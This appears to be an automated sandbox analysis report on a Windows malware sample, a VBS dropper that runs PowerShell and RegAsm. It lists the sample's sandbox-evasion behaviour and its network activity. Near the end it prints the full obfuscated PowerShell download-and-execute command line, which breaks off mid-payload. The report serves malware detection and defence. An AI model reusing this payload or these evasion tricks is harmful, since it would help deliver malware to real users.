Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Potential evasive JS / VBS script found (domain check)
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: UserDomain();IWshNetwork2.UserName();IHost.CreateObject("WScript.Network");IWshNetwork2.AddWindowsPrinterConnection("\\SRVHOMOLOGDC1\Brother", "Brother");IWshNetwork2.AddWindowsPrinterConnection("\\SR
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Memory allocated: 1650000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Memory allocated: 32A0000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Memory allocated: 31C0000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 590109 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 589859 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 589625 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 589140 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 589000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 588890 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2325 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1397 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3552 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6249 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\wscript.exe TID: 7124 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2500 Thread sleep count: 2325 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2500 Thread sleep count: 1397 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5804 Thread sleep count: 69 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1704 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5668 Thread sleep count: 3552 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5680 Thread sleep count: 6249 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1148 Thread sleep time: -18446744073709540s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1148 Thread sleep time: -590109s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1148 Thread sleep time: -589859s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1148 Thread sleep time: -589625s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1148 Thread sleep time: -589140s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1148 Thread sleep time: -589000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1148 Thread sleep time: -588890s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6072 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2992 Thread sleep count: 51 > 30 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2992 Thread sleep time: -51000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 590109 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 589859 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 589625 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 589140 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 589000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 588890 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: wscript.exe, 0000000B.00000003.2422099972.0000018B28301000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2422193313.0000018B28701000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2421972029.0000018B28909000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2386274021.0000018B28505000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2561300775.000002B8BCD31000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2561111913.000002B8BCF3C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2472780471.000002B8BCB35000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2561201740.000002B8BC931000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2641973972.000002854A101000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2641730221.000002854A70F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2642077703.000002854A501000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Hyper-V-VMMS-Networking"" " & vmmslogFileName
Source: wscript.exe, 0000000E.00000003.2592623099.000002854A24C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2593164555.000002854A253000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: iJat(r`cmd /c wevtutil epl System /q:"*[System[Provider[@Name='Microsoft-Windows-Hyper-V-VmSwitch']]]" esults>"
Source: escudellar.vbs.8.dr Binary or memory string: "$output += ""(Get-VMNetworkAdapter -all)""; " & _
Source: wscript.exe, 0000000E.00000003.2592623099.000002854A24C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2593164555.000002854A253000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: @cmd /c wevtutil epl "Microsoft-Windows-Hyper-V-VMMS-Networking" > 0, GetReHy%J
Source: RegAsm.exe, 0000000A.00000002.2974921941.00000000016C1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllP
Source: wscript.exe, 0000000E.00000003.2593164555.000002854A253000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Get*$output += "(Get-VMNetworkAdapter -all)"; R_Mess
Source: wscript.exe, 0000000B.00000003.2422099972.0000018B28301000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2422193313.0000018B28701000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2421972029.0000018B28909000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2386274021.0000018B28505000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2561300775.000002B8BCD31000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2561111913.000002B8BCF3C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2472780471.000002B8BCB35000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2561201740.000002B8BC931000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2641973972.000002854A101000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2641730221.000002854A70F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2642077703.000002854A501000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: cmd = "cmd /c wevtutil epl System /q:""*[System[Provider[@Name='Microsoft-Windows-Hyper-V-VmSwitch']]]"" " & vmswitchlogFileName
Source: wscript.exe, 00000000.00000002.1886130177.000001A8605EA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1878965975.000001A8605EA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWe
Source: wscript.exe, 00000000.00000002.1886130177.000001A8605EA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1878965975.000001A8605EA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1885341405.000001A85E546000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1878557421.000001A85E53C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1879126791.000001A85E545000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: wscript.exe, 0000000B.00000003.2386573270.0000018B2844D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2387502527.0000018B28453000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2478326630.000002B8BCA7D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2478754680.000002B8BCA83000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: @cmd /c wevtutil epl "Microsoft-Windows-Hyper-V-VMMS-Networking" rt></Analy
Source: wscript.exe, 0000000B.00000003.2387502527.0000018B28453000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ntEl*$output += "(Get-VMNetworkAdapter -all)"; GetEpnE(
Source: wscript.exe, 0000000C.00000003.2478754680.000002B8BCA83000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ntEl*$output += "(Get-VMNetworkAdapter -all)"; GetEpn
Source: wscript.exe, 0000000B.00000003.2386573270.0000018B2844D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2387502527.0000018B28453000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2478326630.000002B8BCA7D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2478754680.000002B8BCA83000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: iJOpti`cmd /c wevtutil epl System /q:"*[System[Provider[@Name='Microsoft-Windows-Hyper-V-VmSwitch']]]" act
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\System32\wscript.exe Network Connect: 172.67.187.200 443 Jump to behavior
Yara detected Powershell download and execute
Source: Yara match File source: amsi64_6276.amsi.csv, type: OTHER
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3916, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6276, type: MEMORYSTR
Bypasses PowerShell execution policy
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDg